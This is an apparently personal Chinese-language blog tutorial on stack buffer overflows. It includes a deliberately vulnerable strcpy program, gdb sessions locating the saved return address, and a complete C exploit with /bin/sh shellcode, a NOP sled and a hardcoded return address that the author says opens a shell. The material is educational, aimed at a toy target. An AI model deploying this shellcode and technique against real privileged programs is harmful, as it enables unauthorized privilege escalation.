Buffer Overflow攻略
Buffer Overflow是通过程序在设计上的缺陷,向程序输入特殊设计的字符串来达到获取计算机权限的程序漏洞。由于C语言本身对程序使用内存的限制并不严格,这就给了漏洞可乘之机。
下面这段代码就存在严重的buffer overflow漏洞。
void printSomething(char* str){char string[50];strcpy(string, str);printf("Printing %s\n", string);}int main(int argc, char* argv[]){if ( argc >= 2 ){printSomething( argv[1] );}}
代码在把参数str存入string之前并没有检查str的长度,而string这个array的最大长度却只有50。如果str是一个长度大于49(C字符串以0结尾)的字符串,那么就会引发问题。
下面看一个更加直白的例子:(因为是在64位系统上面进行的测试,所以用来保存地址的地方用了long long。 long long ago….)
void pt(long long in, int num){long long a[1];a[num] = in;}void exploit(){
printf("You got it!\n");
}int main(){
pt(exploit + 1, 3);
return 0;
}
好吧,我承认这段代码写出来就是故意让人buffer overflow的。运行的结果大家也猜到了,就是输出一行You got it!
整段代码种没有对exploit()这个函数进行调用,main里面只调用了pt,而pt没有调用任何函数。
问题在于pt中的那个a,a的长度是1,而我们实际上对位置3进行了写入。也就是说,我们写入的位置本来存放的是pt的Return Address。 当pt执行完毕返回时,会返回到这个地址指向的位置。
对于实际的程序破解,我们基本不能指望程序里面会有这么直白的漏洞,但是思路却基本一样。另外,由于程序破解一般需要最后执行一段shell code,而shell code需要由我们输入到要破解程序的内存空间中。Linux中各个进程之间的内存空间是独立的,不能把程序中某个Return Address指向另外一个程序中的地址。这就需要我们通过一个办法把要执行的shell code放进目标程序的内存空间,并把Return Address指向shell code在目标程序内存空间中的开头位置。
gdb可以帮助我们找到很多有用的信息,在大部分Linux系统中,gdb已经安装好了。通过gdb {PATH}命令可以打开一个需要被调试的程序。下面,我们以上面第一个例子为例,来看看怎么进行shell code的注入和执行。假设编译使用的命令是gcc -g -o print print.c
$ gdb print
(gdb) break printSomething
Breakpoint 1 at 0x8048476: file print.c, line 6.
(gdb) run abc
Starting program: /share/print abc
Breakpoint 1, printSomething (str=0xffbfdf16 "abc") at print.c:66 strcpy(string, str);
(gdb) backtrace
#0 printSomething (str=0xffbfdf17 "abc") at print.c:6
#1 0x080484cd in main (argc=2, argv=0xffbfde34) at print.c:13
run命令后面的内容将当做command line argument传递给要调试的程序。backtrace命令则可以看到当前的function call stack,#1后面的数就是printSomething执行完毕后要返回的地址。
(gdb) info frame
Stack level 0, frame at 0xffbfdd90:
eip = 0x8048476 in printSomething (print.c:6); saved eip 0x80484cd
called by frame at 0xffbfddb0
source language c.
Arglist at 0xffbfdd88, args: str=0xffbfdf17 "abc"
Locals at 0xffbfdd88, Previous frame’s sp is 0xffbfdd90
Saved registers:
ebp at 0xffbfdd88, eip at 0xffbfdd8c
(gdb) print &string$1 = (char (*)[50]) 0xffbfdd54
而执行info frame命令可以看到当前stack frame的一些数据。其中Saved registers后面的eip就是printSomething在stack上面用来保存Return Address的地方。print &string可以看到string这个local variable在stack上面的位置。
通过计算,我们知道Return Address保存在string之后0x38的位置(0x38 = 0xffbfdd8c – 0xffbfdd54)
在制作我们的特制string的时候有一个小窍门,有时候因为程序本身的设计,我们没法准确的找到shell code的开头,这时候可以通过在前面填NOP解决。NOP是CPU指令中的NULL,代表什么都不做,代码是0x90。只要把Return Address指向一堆NOP中的任意一个位置,CPU就会直接忽略全部剩下的NOP,从shell code开始执行。其次,由于shell code是一段CPU instruction,就要求Return Address上面的数字一定要能被4整除,shell code的起点也一样。
接下来我们设计一个能够利用这个漏洞的程序。
//exploit.c#include <string.h>
#include <stdio.h>
#include <unistd.h>
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
char exploitStr[61];
char* argv[3];
char* env[1];
memset( exploitStr, 0x90, 60 );
strcpy( exploitStr, shellcode );
exploitStr[ strlen( shellcode ) ] = 0x90;
exploitStr[56] = 0x34;
exploitStr[57] = 0xde;
exploitStr[58] = 0xbf;
exploitStr[59] = 0xff;
exploitStr[60] = 0;
argv[0] = "print";
argv[1] = exploitStr;
argv[2] = NULL;
env[0] = NULL;
execve( "print", argv, env );
}
这里exploitStr后面实际上要放什么Return Address其实我们事先是不知道的,因为string这个variable的位置随着其中内容的实际长度是会变化的。经本人亲测,在我们的print中,应该放的是0xffbfde34。由于数据在stack上面,所以放入的时候要反着来,所以对于一个32 bit地址来说,实际上应该放入0x34、0xde、0xbf,最后是0xff。
编译好之后,通过gdb来看看效果,顺便确定真正的Return Address现在应该是什么。
$ gdb exploit(gdb) catch execCatchpoint 1 (exec)
表示在程序开始调用execve的时候中断。
(gdb) rStarting program: /share/exploit
Catchpoint 1 (exec'd /share/print), 0x40000810 in ?? () from /lib/ld-linux.so.2(gdb) symbol-file printLoad new symbol table from "/share/print"? (y or n) yReading symbols from /share/print...done.
表示重新从print中读取符号信息,这样我们才能break到print这个程序中的某个地方。
(gdb) break printSomethingBreakpoint 2 at 0x8048476: file print.c, line 6.(gdb) cContinuing.Breakpoint 2, printSomething (str=0xffbfdfb9 此处省略一堆乱七八糟的东西。。。) at print.c:66 strcpy(string, str);
(gdb) info frameStack level 0, frame at 0xffbfde70:eip = 0x8048476 in printSomething (print.c:6); saved eip 0x80484cdcalled by frame at 0xffbfde90source language c.Arglist at 0xffbfde68, args: str=0xffbfdfb9 此处省略一堆乱七八糟的东西。。。again...Locals at 0xffbfde68, Previous frame's sp is 0xffbfde70Saved registers:ebp at 0xffbfde68, eip at 0xffbfde6c(gdb) print &string$1 = (char (*)[50]) 0xffbfde34
可以看到string的位置和eip都发生了变化,但别担心,他们之间的相对位置(距离)依然是0x38。0xffbfde34也出现了,这就是我们想要的Return Address的真实位置。把这个地址替换回exploit.c并重新编译。再次执行新编译好的exploit,令人激动的时刻来临了!shell出现了,有木有!
在这个例子中,这么做其实没什么意义,因为我们并没有拿到什么权限。但是如果print是以比当前用户高的权限运行的,那么这个时候打开的shell就会是print执行用的用户的权限。
本文只是对Buffer Overflow漏洞的一个简单的介绍,在实际的情况中并没有这么简单。尤其是现在广泛使用的操作系统内核都加入了对这种破解的防护措施,比如stack randomization等等。即便如此,也希望大家遵纪守法,不要以破坏为目的去攻击别的系统。
Thanks for reading…
2 comments
Leave a Reply Cancel reply
This site uses Akismet to reduce spam. Learn how your comment data is processed.
Recent Comments
- Franny on 留言板
- jerry on UWaterloo的CS课程介绍,一篇充斥着淡淡忧伤的总结…..ˋ(╯ω╰)ˊ
- 上官小天 on UWaterloo的CS课程介绍,一篇充斥着淡淡忧伤的总结…..ˋ(╯ω╰)ˊ
- tooyoungtoosimple on UWaterloo的CS课程介绍,一篇充斥着淡淡忧伤的总结…..ˋ(╯ω╰)ˊ
- 上官小天 on UWaterloo的CS课程介绍,一篇充斥着淡淡忧伤的总结…..ˋ(╯ω╰)ˊ
辛苦了,好详细
谢谢